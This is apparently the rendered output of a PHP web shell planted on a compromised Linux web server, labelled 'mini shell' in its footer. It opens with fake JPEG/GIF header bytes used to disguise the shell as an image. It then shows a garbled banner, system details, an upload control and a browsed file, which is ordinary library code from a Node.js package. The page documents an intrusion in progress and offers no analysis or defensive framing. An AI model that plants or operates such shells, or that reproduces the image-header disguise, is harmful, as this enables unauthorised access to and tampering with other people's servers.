ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/talentgenesis_admin_backend/node_modules/@fastify/busboy/lib/utils/
Upload File :
Current File : /var/www/talentgenesis_admin_backend/node_modules/@fastify/busboy/lib/utils/decodeText.js

'use strict'

let TextDecoder
try {
  TextDecoder = require('util').TextDecoder
} catch (e) { }

const { TextDecoder: PolyfillTextDecoder, getEncoding } = require('text-decoding')

// Node has always utf-8
const textDecoders = new Map()
if (TextDecoder) {
  textDecoders.set('utf-8', new TextDecoder('utf-8'))
} else {
  textDecoders.set('utf-8', new PolyfillTextDecoder('utf-8'))
}
textDecoders.set('utf8', textDecoders.get('utf-8'))

function decodeText (text, textEncoding, destEncoding) {
  if (text) {
    if (textDecoders.has(destEncoding)) {
      try {
        return textDecoders.get(destEncoding).decode(Buffer.from(text, textEncoding))
      } catch (e) { }
    } else {
      try {
        textDecoders.set(destEncoding, new TextDecoder(destEncoding))
        return textDecoders.get(destEncoding).decode(Buffer.from(text, textEncoding))
      } catch (e) {
        if (getEncoding(destEncoding)) {
          try {
            textDecoders.set(destEncoding, new PolyfillTextDecoder(destEncoding))
            return textDecoders.get(destEncoding).decode(Buffer.from(text, textEncoding))
          } catch (e) { }
        }
      }
    }
  }
  return text
}

function decodeTextPolyfill (text, textEncoding, destEncoding) {
  if (text) {
    if (textDecoders.has(destEncoding)) {
      try {
        return textDecoders.get(destEncoding).decode(Buffer.from(text, textEncoding))
      } catch (e) { }
    } else {
      if (getEncoding(destEncoding)) {
        try {
          textDecoders.set(destEncoding, new PolyfillTextDecoder(destEncoding))
          return textDecoders.get(destEncoding).decode(Buffer.from(text, textEncoding))
        } catch (e) { }
      }
    }
  }
  return text
}

module.exports = TextDecoder ? decodeText : decodeTextPolyfill

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST